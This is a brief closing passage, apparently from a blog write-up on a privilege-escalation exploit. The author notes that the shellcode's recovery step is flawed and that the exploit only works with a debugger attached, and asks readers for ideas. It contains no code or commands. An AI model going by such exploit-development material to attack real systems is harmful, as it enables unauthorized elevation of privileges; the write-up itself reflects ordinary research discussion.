Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn’t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.

@ParvezGHH

❌
❌